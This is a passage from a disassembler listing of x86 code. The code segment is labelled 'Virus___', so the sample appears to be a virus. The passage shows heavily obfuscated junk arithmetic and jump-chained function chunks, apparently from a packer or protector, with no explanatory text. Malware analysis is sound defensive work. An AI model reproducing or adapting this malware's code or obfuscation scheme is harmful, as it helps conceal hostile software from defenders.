ebx pop ebx push 729Dh mov [esp-48h+arg_42+2], ebp pop edi pop ebp sub edi, esi pop esi and ecx, edi pop edi jmp loc_547558 ; --------------------------------------------------------------------------- loc_54E3D3: ; CODE XREF: sub_545A2B-FC2j mov [esp-5Ch+arg_58], edx mov edx, 3480776Bh jmp sub_543680 ; --------------------------------------------------------------------------- loc_54E3E0: ; CODE XREF: sub_545A2B+62FCj push ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54E3E8: ; CODE XREF: sub_545A2B+5438j sub ebx, edx sub ebx, 78177EDh pop edx pop dword ptr [eax] jmp loc_548ADD ; --------------------------------------------------------------------------- loc_54E3F8: ; CODE XREF: sub_545A2B+2D1Aj mov esi, 40C3437Bh push edi mov edi, 6C752269h and esi, edi pop edi shr esi, 5 dec esi shr esi, 2 neg esi sub esi, 81ED9165h xor ebp, esi pop esi and eax, ebp pop ebp or eax, eax jz loc_54BC65 sub esp, 4 jmp loc_5460A3 ; --------------------------------------------------------------------------- loc_54E42E: ; CODE XREF: sub_545A2B+9010j push ecx mov cl, 0D1h and cl, 89h push 0ECAh mov [esp-44h+arg_3E+2], eax mov al, 31h xor cl, al pop eax xor cl, 97h and bh, cl pop ecx jmp loc_543ADE ; --------------------------------------------------------------------------- loc_54E44C: ; CODE XREF: sub_545A2B+55E4j push dword ptr [edi+eax*4] push [esp-1Eh+arg_1A] push [esp-1Ah+arg_16] pop eax push 0B09h mov [esp-16h+arg_12], eax mov eax, esp push 32F4h mov [esp-12h+arg_E], edi mov edi, 6C657DF5h not edi xor edi, 34261160h dec edi and edi, 19733D6h shr edi, 3 xor edi, 3FCA8A3Bh jmp loc_54376E ; --------------------------------------------------------------------------- loc_54E48A: ; CODE XREF: sub_545A2B+8978j xor esi, 0B758F2E5h add eax, esi jmp loc_549B82 ; --------------------------------------------------------------------------- loc_54E497: ; CODE XREF: sub_545A2B+2403j add bl, 0AAh jmp loc_54C9FC ; --------------------------------------------------------------------------- loc_54E49F: ; CODE XREF: sub_545A2B-2A72j push esi push 409271Bh pop esi sub esp, 4 mov [esp+0Eh+var_10+2], edx push esi mov esi, 15D40317h mov edx, 62CF42F0h jmp loc_54AD53 ; --------------------------------------------------------------------------- loc_54E4BC: ; CODE XREF: sub_545A2B+8153j or bl, 0B4h push bx push ax mov ah, ch mov ch, byte ptr [esp-3Ch+arg_3A] mov byte ptr [esp-3Ch+arg_3A], ah pop ax not ch xchg ch, byte ptr [esp-3Eh+arg_3A] jmp loc_546117 ; --------------------------------------------------------------------------- loc_54E4D9: ; CODE XREF: sub_545A2B+EF5j mov [esp-48h+arg_42+2], edx push ecx mov ch, 77h jmp loc_549362 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54E4E4: ; CODE XREF: Virus___:0054E090j push esi mov esi, 56C5224Ah shr esi, 6 not esi not esi jmp loc_546977 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E4F6: ; CODE XREF: sub_545A2B+FD3j push esp mov esi, [esp-4Ah+arg_46] add esp, 4 sub esp, 4 mov [esp-4Ah+arg_46], edi push eax mov eax, 1F4A65EFh add eax, 0E0B59A15h mov edi, eax push [esp-46h+arg_42] jmp loc_547151 ; --------------------------------------------------------------------------- loc_54E518: ; CODE XREF: sub_545A2B+6613j add ebx, 48D33E4Ah add ebx, ecx push eax mov eax, 6A092EC8h jmp loc_549AAC ; --------------------------------------------------------------------------- loc_54E52B: ; CODE XREF: sub_545A2B+86CDj mov esi, 70AB5DD8h jmp loc_546392 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54E535 proc near ; DATA XREF: Virus___:00542EF0o var_8 = dword ptr -8 var_4 = dword ptr -4 lodsd push 59E0h mov [esp+4+var_4], ecx push 6405h mov [esp+8+var_8], edi mov edi, 68A940CCh shr edi, 7 dec edi jmp loc_549561 sub_54E535 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E554: ; CODE XREF: sub_545A2B+AFFj mov [esp-18h+arg_12+2], edi mov edi, 2 jmp loc_54479D ; --------------------------------------------------------------------------- loc_54E561: ; CODE XREF: sub_545A2B+33D9j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-16h+arg_12] mov esp, [esp-16h+arg_12] push ebp jmp loc_5486A5 ; --------------------------------------------------------------------------- loc_54E578: ; CODE XREF: sub_545A2B-29FDj add edx, 4 jmp loc_54EF4C ; --------------------------------------------------------------------------- loc_54E583: ; CODE XREF: sub_545A2B-107Ej mov ebx, 247D524Bh push ebp mov ebp, 113D2FBDh xor ebp, 675D0D62h dec ebp and ebp, 4A3A4697h and ebp, 76B80B6Dh add ebp, 0EBAE461Eh xor ebx, ebp pop ebp jmp loc_544ABC ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54E5AF proc near ; CODE XREF: sub_545A2B+8258j push ebx mov ebx, 3F3F4A9Dh not ebx xor ebx, 0C0C0B563h sub edi, ebx pop ebx sub edi, 0A54BF099h push edi jmp loc_54762F sub_54E5AF endp ; --------------------------------------------------------------------------- loc_54E5CC: ; DATA XREF: Virus___:00542D54o pop dword ptr [edx] jmp loc_542F67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E5D3: ; CODE XREF: sub_545A2B+592Fj sub bl, 53h jmp loc_54A878 ; --------------------------------------------------------------------------- loc_54E5DB: ; CODE XREF: sub_545A2B+5D58j add eax, 48B108C4h sub eax, 29F2657Eh sub eax, 16446B0Ah add eax, 64AE5E9Bh jmp loc_5486CE ; --------------------------------------------------------------------------- loc_54E5F4: ; CODE XREF: sub_545A2B-10B7j mov [esp-58h+arg_54], ebx jmp loc_54443D ; --------------------------------------------------------------------------- loc_54E5FC: ; CODE XREF: sub_545A2B-11DAj mov [esp-30h+arg_2A+2], ebp mov ebp, 2A4753B9h jmp loc_54811C ; --------------------------------------------------------------------------- loc_54E609: ; CODE XREF: sub_545A2B-DB2j pop ebx add edx, 2 xor edx, [esp-1Ch+arg_16+2] jmp loc_545411 ; --------------------------------------------------------------------------- loc_54E618: ; CODE XREF: sub_545A2B+11E4j pop ecx xchg edi, [esp-18h+arg_12+2] pop esp jmp loc_547474 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54E622 proc near ; CODE XREF: sub_545A2B+2B99j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0054D10C SIZE 0000000F BYTES sub esp, 4 mov [esp+4+var_4], ebp jmp loc_54D10C sub_54E622 endp ; =============== S U B R O U T I N E ======================================= sub_54E630 proc near ; DATA XREF: Virus___:00542E50o ; FUNCTION CHUNK AT 005448CE SIZE 00000011 BYTES mov ax, [esp+0] push esi mov esi, esp jmp loc_5448CE sub_54E630 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E63C: ; CODE XREF: sub_545A2B+71E6j pop ecx add ecx, 5A663DBh add ecx, edi sub ecx, 5A663DBh pop edi add ecx, 2 xor ecx, [esp-40h+arg_3A+2] jmp loc_5458C4 ; --------------------------------------------------------------------------- loc_54E657: ; CODE XREF: sub_545A2B+3CE6j add [esp-2Ah+arg_26], 4 mov ecx, [esp-2Ah+arg_26] add esp, 4 jmp loc_54F427 ; --------------------------------------------------------------------------- loc_54E66C: ; CODE XREF: sub_545A2B+2992j mov bl, 0D8h sub bl, ah pop eax shl bl, 7 or bl, 89h xor bl, 0BFh xor bl, 33h dec bl xor bl, 0E0h mov ah, bl pop ebx inc ah jmp loc_5495F2 ; --------------------------------------------------------------------------- loc_54E68C: ; CODE XREF: sub_545A2B-19BBj add edx, eax jmp loc_545571 ; --------------------------------------------------------------------------- loc_54E693: ; CODE XREF: sub_545A2B+52B0j add ebx, edi add ebx, 7974204Bh pop edi sub ebx, 2 xchg ebx, [esp-22h+arg_1E] pop esp jmp loc_54A946 ; --------------------------------------------------------------------------- loc_54E6AB: ; CODE XREF: sub_545A2B+4AE5j pop ecx shl ecx, 5 xor ecx, 91637984h jmp loc_543CCB ; --------------------------------------------------------------------------- loc_54E6BA: ; CODE XREF: sub_545A2B+6B08j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-18h+arg_12+2] pop esp add edx, 1EBD106Eh jmp loc_54B323 ; --------------------------------------------------------------------------- loc_54E6D7: ; CODE XREF: sub_545A2B+5EE7j add al, 7Fh sub al, 34h sub al, bh add al, 34h push ecx jmp loc_544C8A ; --------------------------------------------------------------------------- loc_54E6E5: ; CODE XREF: sub_545A2B+BB0j mov esi, ebp pop ebp or esi, 66F01E0Ch neg esi push ebp mov ebp, 4214283h jmp loc_54C6DB ; --------------------------------------------------------------------------- loc_54E6FB: ; CODE XREF: sub_545A2B-2A46j mov [esp+6+var_8+2], eax mov eax, 7B8A78F8h add eax, 7154666Ah neg eax not eax sub eax, 79917CC1h jmp loc_54BD0A ; --------------------------------------------------------------------------- loc_54E716: ; CODE XREF: sub_545A2B+667Cj push edi mov edi, 450111D0h push ebp push edi mov edi, 450113D0h push eax mov eax, edi mov ebp, eax jmp loc_5457E5 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push 517h jmp loc_5441DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E73C: ; CODE XREF: sub_545A2B+7DAEj or ah, 5Dh sub ah, 0B3h neg ah add ah, 74h inc ah neg ah add ah, 0E4h shl ah, 3 jmp loc_5445E4 ; --------------------------------------------------------------------------- loc_54E756: ; CODE XREF: sub_545A2B-D51j push esi push eax mov eax, 703D671Eh mov esi, 3EC03177h xor esi, eax jmp loc_54CB23 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54E769 proc near ; CODE XREF: sub_545A2B+499Dj sub esp, 4 jmp loc_546EFA sub_54E769 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543A46 loc_54E774: ; CODE XREF: sub_543A46+B58Ej mov [esp+0], edi jmp loc_54DD59 ; END OF FUNCTION CHUNK FOR sub_543A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E77C: ; CODE XREF: sub_545A2B+6903j and ebp, 2957274Ah sub ebp, 1 xor ebp, 28474541h push ebp jmp loc_54EE8E ; --------------------------------------------------------------------------- loc_54E791: ; CODE XREF: sub_545A2B+3248j push [esp-1Eh+arg_1A] mov eax, [esp-1Ah+arg_16] add esp, 4 add esp, 4 push edx mov edx, 4C572E69h jmp loc_54613D ; --------------------------------------------------------------------------- loc_54E7A8: ; CODE XREF: sub_545A2B+5463j mov ebp, [esp-1Eh+arg_1A] add esp, 4 shr edx, 6 jmp loc_54B154 ; --------------------------------------------------------------------------- loc_54E7B9: ; CODE XREF: sub_545A2B+37C0j mov ebp, esp push ebx mov ebx, 4 add ebp, ebx pop ebx jmp loc_5499BC ; --------------------------------------------------------------------------- loc_54E7C9: ; CODE XREF: sub_545A2B-225Cj sub edx, 298123A2h sub edx, 501876B9h pop ecx jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54E7DB: ; CODE XREF: sub_545A2B+268Cj add ebp, esi pop esi push edi mov edi, 64C31D9Ch jmp loc_548E32 ; --------------------------------------------------------------------------- loc_54E7E9: ; CODE XREF: sub_545A2B+35ADj shl esi, 2 add esi, 3D3A8848h jmp loc_54A81E ; --------------------------------------------------------------------------- loc_54E7F7: ; CODE XREF: sub_545A2B+256j add esi, edx pop edx mov edx, [esp-28h+arg_22+2] push eax jmp loc_549476 ; --------------------------------------------------------------------------- loc_54E803: ; CODE XREF: sub_545A2B+345Dj add esp, 4 jmp loc_545F1D ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54E80B proc near ; CODE XREF: sub_545A2B+41E3j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00542FEA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0054CD0E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0054CFBB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0054D1EB SIZE 00000011 BYTES sub esp, 4 mov [esp+0], ebx jmp loc_54CD0E sub_54E80B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E816: ; CODE XREF: sub_545A2B-2D9j mov esp, [esp-22h+arg_1E] push dword ptr [eax] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54E820: ; CODE XREF: sub_545A2B-626j mov ecx, [esp-44h+arg_3E+2] jmp loc_543292 ; --------------------------------------------------------------------------- loc_54E828: ; CODE XREF: sub_545A2B+1104j sub edi, 538C7590h add esi, edi pop edi xchg esi, [esp-3Ah+arg_36] jmp loc_542FAC ; --------------------------------------------------------------------------- loc_54E839: ; CODE XREF: sub_545A2B+138Bj or ebx, ebp pop ebp inc ebx add ebx, 0F3D8A46Ah mov edi, ebx jmp loc_54CDF4 ; --------------------------------------------------------------------------- loc_54E84A: ; CODE XREF: sub_545A2B+1CACj pop ebx xchg eax, [esp-36h+arg_32] pop esp or eax, eax jz loc_54D039 push edx mov edx, 39B911A1h jmp loc_54D1A2 ; --------------------------------------------------------------------------- loc_54E862: ; CODE XREF: sub_545A2B+36C5j xor al, dl mov dx, word ptr [esp-1Ch+arg_16+2] push edi sub esp, 4 mov [esp-14h+arg_E+2], esp push esi mov esi, 4 add [esp-10h+arg_E+2], esi pop esi mov edi, [esp-14h+arg_E+2] jmp loc_54B788 ; --------------------------------------------------------------------------- loc_54E885: ; CODE XREF: sub_545A2B+2AA2j push [esp-24h+arg_1E+2] pop eax push ebx push eax mov eax, esp jmp loc_544F66 ; --------------------------------------------------------------------------- loc_54E892: ; CODE XREF: sub_545A2B+7D1Aj push esi mov esi, 437E1759h neg esi xor esi, 0C65E970Ah sub ecx, esi pop esi sub edx, ecx mov ecx, [esp-12h+arg_E] jmp loc_54AB61 ; --------------------------------------------------------------------------- loc_54E8AD: ; CODE XREF: sub_545A2B+794Bj push edx mov edx, 4F3254Eh add edx, 1C14BE7h sub ebx, edx jmp loc_544B09 ; --------------------------------------------------------------------------- loc_54E8C0: ; CODE XREF: sub_545A2B+704j add al, 49h add al, bl sub al, 49h jmp loc_548578 ; --------------------------------------------------------------------------- loc_54E8CB: ; CODE XREF: sub_545A2B+9547j mov ecx, 30A41B7Eh jmp loc_5436FB ; --------------------------------------------------------------------------- loc_54E8D5: ; CODE XREF: sub_545A2B+4183j push esi mov esi, 0C304F3Ah dec esi add esi, 370AD8D8h sub edx, esi pop esi dec edx or edx, 6E8F4B3Eh xor edx, 719BB416h sub ebp, edx jmp loc_5465E0 ; --------------------------------------------------------------------------- loc_54E8F9: ; CODE XREF: sub_545A2B-234Bj pop [esp-0Eh+arg_A] mov esp, [esp-12h+arg_E] mov [esp-12h+arg_E], edi jmp loc_543326 ; --------------------------------------------------------------------------- loc_54E907: ; CODE XREF: sub_545A2B+53Bj xchg edx, [esp-22h+arg_1E] pop esp push 0CEEh mov [esp-22h+arg_1E], eax sub esp, 4 mov [esp-1Eh+arg_1A], esp add [esp-1Eh+arg_1A], 4 pop eax jmp loc_54A623 ; --------------------------------------------------------------------------- loc_54E923: ; CODE XREF: sub_545A2B+5790j add esp, 4 add bl, 5Ah sub bl, al sub bl, 5Ah jmp loc_54C134 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54E933 proc near ; CODE XREF: sub_545A2B+8446j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edi mov edi, 419E55F4h sub eax, 77DE6BD1h sub eax, edi add eax, 77DE6BD1h push [esp+4+var_4] pop edi add esp, 4 add eax, 4BFE62EEh push ebp push esi push edx push ebp mov ebp, 7DC73C3Ch or ebp, 36032FCBh jmp loc_545C36 sub_54E933 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54E970: ; CODE XREF: sub_545A2B-C13j add eax, edx pop edx sub esp, 4 mov [esp-42h+arg_3E], ebx sub esp, 4 mov [esp-3Eh+arg_3A], edi mov edi, 2 mov ebx, edi pop edi add eax, ebx pop ebx xor eax, [esp-46h+arg_42] xor [esp-46h+arg_42], eax xor eax, [esp-46h+arg_42] pop esp push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp-46h+arg_42] jmp loc_54B06B ; --------------------------------------------------------------------------- loc_54E9AE: ; CODE XREF: sub_545A2B+D8Ej xor si, 58BBh push small 6EAFh mov word ptr [esp-46h+arg_42], si push di mov di, 7E70h sub word ptr [esp-44h+arg_42], di pop di mov dx, word ptr [esp-46h+arg_42] push eax mov eax, esp add eax, 4 push edx mov edx, 2 jmp loc_5483D1 ; --------------------------------------------------------------------------- loc_54E9DF: ; CODE XREF: sub_545A2B-1827j pop esi pop ebx sub esp, 4 mov [esp-26h+arg_22], eax push ebx mov ebx, 60F10284h neg ebx or ebx, 0C195100h shl ebx, 1 jmp loc_54BCB9 ; --------------------------------------------------------------------------- loc_54E9FF: ; CODE XREF: sub_545A2B+73CAj and ebp, edi pop edi sub ebp, 69694FADh push 0 sub [esp-12h+arg_E], ebp pop ebp jmp loc_5447B0 ; --------------------------------------------------------------------------- loc_54EA16: ; CODE XREF: sub_545A2B+6B8Dj xor ebx, eax jmp loc_54406A ; --------------------------------------------------------------------------- loc_54EA1D: ; CODE XREF: sub_545A2B+992Fj mov [esp+0], esi jmp loc_54E238 ; --------------------------------------------------------------------------- loc_54EA25: ; CODE XREF: sub_545A2B+32D8j mov ah, 97h and ah, 55h add ah, 0BEh sub cl, ah pop eax or bh, cl mov ecx, [esp+0] add esp, 4 jmp loc_54E42E ; --------------------------------------------------------------------------- loc_54EA40: ; CODE XREF: sub_545A2B+658Bj add bl, 0Bh push ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-16h+arg_12] mov esp, [esp-16h+arg_12] mov [esp-16h+arg_12], edx mov dh, al push eax jmp loc_54A80C ; --------------------------------------------------------------------------- loc_54EA64: ; CODE XREF: sub_545A2B+2541j mov bh, 53h jmp loc_54AB3C ; --------------------------------------------------------------------------- loc_54EA6B: ; CODE XREF: sub_545A2B+D98j sub ebp, esi jmp loc_547B15 ; --------------------------------------------------------------------------- loc_54EA72: ; CODE XREF: sub_545A2B+49B5j add esp, 4 pop [esp-10h+arg_A+2] pop esp btr word ptr [esp-18h+arg_12+2], ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54EA87: ; CODE XREF: sub_545A2B-1DB5j push 34B4h mov [esp-38h+arg_32+2], edx mov edx, 546302B8h push ebp jmp loc_54AE87 ; --------------------------------------------------------------------------- loc_54EA9A: ; CODE XREF: sub_545A2B-1D76j pop ecx push edx push 224346A0h pop edx add edx, 50D14B61h dec edx jmp loc_54DCFA ; --------------------------------------------------------------------------- loc_54EAAE: ; CODE XREF: sub_545A2B+4F23j push cx pushf jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54EAB6 proc near ; CODE XREF: sub_545A2B+1816j push ebx mov ebx, 515E5B3Fh shl ebx, 3 sub ebx, 1 jmp loc_54BCCD sub_54EAB6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EAC7: ; CODE XREF: sub_545A2B-2823j push [esp-16h+arg_12] pop ebp push esi mov esi, esp jmp loc_547F12 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54EAD3: ; CODE XREF: Virus___:005441ECj push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push ebp jmp loc_5464F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EAF6: ; CODE XREF: sub_545A2B+9589j pop esp mov [esp-16h+arg_12], edx jmp loc_546858 ; --------------------------------------------------------------------------- loc_54EAFF: ; CODE XREF: sub_545A2B+556j add eax, esi pop esi push dword ptr [edi+eax*4] push [esp-50h+arg_4C] pop eax sub esp, 4 mov [esp-4Ch+arg_46+2], edi push esp pop edi add edi, 4 push 2969h mov [esp-48h+arg_42+2], esi mov esi, 4 add edi, esi pop esi xchg edi, [esp-4Ch+arg_46+2] mov esp, [esp-4Ch+arg_46+2] push 26A5h mov [esp-48h+arg_42+2], edx jmp loc_54EB7B ; --------------------------------------------------------------------------- loc_54EB3A: ; CODE XREF: sub_545A2B+461Fj pop ecx jmp loc_54DBE3 ; --------------------------------------------------------------------------- loc_54EB40: ; CODE XREF: sub_545A2B+5BF8j mov dx, ax jmp loc_54A3E5 ; --------------------------------------------------------------------------- loc_54EB48: ; CODE XREF: sub_545A2B+8287j xor [esp-36h+arg_32], edx xor edx, [esp-36h+arg_32] pop esp mov [esp-3Ah+arg_36], ecx jmp loc_547A59 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54EB57: ; CODE XREF: Virus___:0054CBD9j mov [esp], ecx jmp loc_547291 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EB5F: ; CODE XREF: sub_545A2B-123Aj mov ebx, [esp-3Ah+arg_36] add esp, 4 neg ebx sub ebx, 0CFBBF793h jmp loc_54CD83 ; --------------------------------------------------------------------------- loc_54EB72: ; CODE XREF: sub_545A2B+91Cj dec byte ptr [esp-4Ch+arg_46+2] pushf jmp loc_54CB6A ; --------------------------------------------------------------------------- loc_54EB7B: ; CODE XREF: sub_545A2B+910Aj push 7FD8h mov [esp-44h+arg_3E+2], ebp push ecx push 67F40E8Bh pop ecx inc ecx push edi mov edi, 492C0605h jmp loc_54C9CB ; --------------------------------------------------------------------------- loc_54EB96: ; CODE XREF: sub_545A2B+5B06j mov [esp-44h+arg_3E+2], edi jmp loc_54773B ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54EB9E proc near ; CODE XREF: sub_545A2B-244Dj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00544C9C SIZE 00000034 BYTES ; FUNCTION CHUNK AT 005453D3 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0054CB46 SIZE 00000008 BYTES sub esp, 4 jmp loc_54CB46 sub_54EB9E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EBA9: ; CODE XREF: sub_545A2B+F1Ej pop edx xor edi, 7FBA13D7h push ebx mov ebx, 1B99550Bh sub ebx, 7CCC3227h jmp loc_54C222 ; --------------------------------------------------------------------------- loc_54EBC1: ; CODE XREF: sub_545A2B+44D2j pop eax inc dl jmp loc_545B3F ; --------------------------------------------------------------------------- loc_54EBC9: ; CODE XREF: sub_545A2B-2617j shr ebx, 3 or ebx, 730F199Ah add ebx, 0E00C3FE4h jmp loc_5449B2 ; --------------------------------------------------------------------------- loc_54EBDD: ; CODE XREF: sub_545A2B+E1Bj add [esp-44h+arg_3E+2], 334E4085h jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54EBE9: ; CODE XREF: sub_545A2B+535Dj pop esp pop ebp jmp loc_546A2A ; --------------------------------------------------------------------------- loc_54EBF0: ; CODE XREF: sub_545A2B+366Ej push [esp-20h+arg_1E+2] pop edi pop [esp-20h+arg_1A+2] mov esp, [esp-24h+arg_1E+2] jmp sub_545877 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- lodsd push esi mov esi, 140A31C4h xor esi, 47721D21h xor esi, 170B2783h jmp loc_543C1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EC18: ; CODE XREF: sub_545A2B-2057j push esi mov esi, esp push ebp mov ebp, 61C36F01h neg ebp sub ebp, 9E3C90FBh jmp loc_549F08 ; --------------------------------------------------------------------------- loc_54EC2E: ; CODE XREF: sub_545A2B+827Fj inc dh not dh add dh, 0A0h xor dh, 3 add cl, 0B1h add cl, dh sub cl, 0B1h jmp loc_54512E ; --------------------------------------------------------------------------- loc_54EC45: ; CODE XREF: sub_545A2B+14CAj xor dh, 0C2h jmp loc_548414 ; --------------------------------------------------------------------------- loc_54EC4D: ; CODE XREF: sub_545A2B+1E3Bj add al, cl jmp loc_54612E ; --------------------------------------------------------------------------- loc_54EC54: ; CODE XREF: sub_545A2B+2F7Bj push esi mov esi, 535A63A6h jmp loc_54B1F8 ; --------------------------------------------------------------------------- loc_54EC5F: ; CODE XREF: sub_545A2B+7CB4j mov [esp+0Ah+var_C+2], eax mov eax, 32BD1B17h jmp loc_5455DE ; --------------------------------------------------------------------------- loc_54EC6C: ; CODE XREF: sub_545A2B+1E92j and edx, 73E67BB8h jmp loc_54E30E ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54EC77 proc near ; DATA XREF: Virus___:00542F14o var_4 = dword ptr -4 mov cx, [esp+0] push 10DFh mov [esp+4+var_4], ebx jmp loc_548C78 sub_54EC77 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EC88: ; CODE XREF: sub_545A2B+2EE5j movzx eax, al mov dx, word ptr [esp-2Eh+arg_2A] push eax push 6603h jmp loc_544DFE ; --------------------------------------------------------------------------- loc_54EC9A: ; CODE XREF: sub_545A2B-68Dj pop edx push eax mov eax, 38h add eax, 10673E6Ch sub eax, 2EBD7859h add eax, edi add eax, 2EBD7859h sub eax, 10673E6Ch mov [eax], bh pop eax pop ebx jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54ECC0 proc near ; CODE XREF: sub_545A2B+753j ; FUNCTION CHUNK AT 005444CE SIZE 00000006 BYTES push ebx mov bl, 0A1h push cx mov cl, 0C5h sub bl, cl pop cx sub al, bl jmp loc_5444CE sub_54ECC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54ECD2: ; CODE XREF: sub_545A2B+6D43j sub eax, 7A192BF8h xor eax, 2997DD84h xor edx, eax jmp loc_5479DF ; --------------------------------------------------------------------------- loc_54ECE3: ; CODE XREF: sub_545A2B+D43j pop edi jmp loc_54A9DE ; --------------------------------------------------------------------------- loc_54ECE9: ; CODE XREF: sub_545A2B+41A0j add esi, edi push ebx mov ebx, 0B2300F9h shl ebx, 8 jmp loc_54340E ; --------------------------------------------------------------------------- loc_54ECF9: ; CODE XREF: sub_545A2B+3646j push edi mov di, 1735h shr di, 6 jmp loc_548681 ; --------------------------------------------------------------------------- loc_54ED07: ; CODE XREF: sub_545A2B+93F9j push 5F67h mov [esp-1Ah+arg_16], eax push 2CA8h mov [esp-16h+arg_12], edi push 55FB36DDh jmp loc_547367 ; --------------------------------------------------------------------------- loc_54ED21: ; CODE XREF: sub_545A2B+19A9j dec eax sub eax, 0CE45D926h sub edi, eax pop eax push edi jmp loc_54834A ; --------------------------------------------------------------------------- loc_54ED30: ; CODE XREF: sub_545A2B+87F1j xor eax, 5F3A4CABh jmp loc_543E0D ; --------------------------------------------------------------------------- loc_54ED3A: ; CODE XREF: sub_545A2B-72j add ebp, 34CB6635h mov eax, [esp-14h+arg_E+2] add esp, 4 xor ebp, [esp-18h+arg_12+2] xor [esp-18h+arg_12+2], ebp jmp loc_54C969 ; --------------------------------------------------------------------------- loc_54ED54: ; CODE XREF: sub_545A2B+DDCj inc ecx not ecx xor ecx, 0A64789B1h add eax, ecx jmp loc_543DE5 ; --------------------------------------------------------------------------- loc_54ED64: ; CODE XREF: sub_545A2B+4016j push ecx push esp pop ecx push edx mov edx, 4 add ecx, edx jmp loc_54B869 ; --------------------------------------------------------------------------- loc_54ED74: ; CODE XREF: sub_545A2B+555Cj mov dh, 32h jmp loc_5463B4 ; --------------------------------------------------------------------------- loc_54ED7B: ; CODE XREF: sub_545A2B+27ECj sub ecx, eax jmp loc_54D3D0 ; --------------------------------------------------------------------------- loc_54ED82: ; CODE XREF: sub_545A2B-18DFj add edx, 10006CAFh sub edx, eax sub edx, 10006CAFh pop eax sub edx, esi add edx, 31BA051Ah pop esi add edx, eax jmp loc_54EF6A ; --------------------------------------------------------------------------- loc_54EDA1: ; CODE XREF: sub_545A2B+1DDAj add ebp, eax pop eax sub ebp, 2E00FDBFh sub edx, ebp pop ebp jmp loc_54C10A ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54EDB2 proc near ; CODE XREF: sub_54E10B+29j sub esp, 4 jmp loc_546D6A sub_54EDB2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EDBD: ; CODE XREF: sub_545A2B+BD6j add edx, 4 xchg edx, [esp-40h+arg_3A+2] pop esp add esp, 4 push ebp mov ebp, esp push ebx jmp loc_5462EF ; --------------------------------------------------------------------------- loc_54EDD0: ; CODE XREF: sub_545A2B+3A32j push 444Eh jmp loc_54CF2E ; --------------------------------------------------------------------------- loc_54EDDA: ; CODE XREF: sub_545A2B+62DAj push eax mov eax, 5B5F0B11h jmp loc_54609D ; --------------------------------------------------------------------------- loc_54EDE5: ; CODE XREF: sub_545A2B+8329j mov ebp, esi pop esi sub esp, 4 mov [esp-1Eh+arg_1A], ebx push ebp mov ebp, 54605AD4h mov ebx, ebp jmp loc_54C69B ; --------------------------------------------------------------------------- loc_54EDFB: ; CODE XREF: sub_545A2B+973j not edi jmp loc_54AA28 ; --------------------------------------------------------------------------- loc_54EE02: 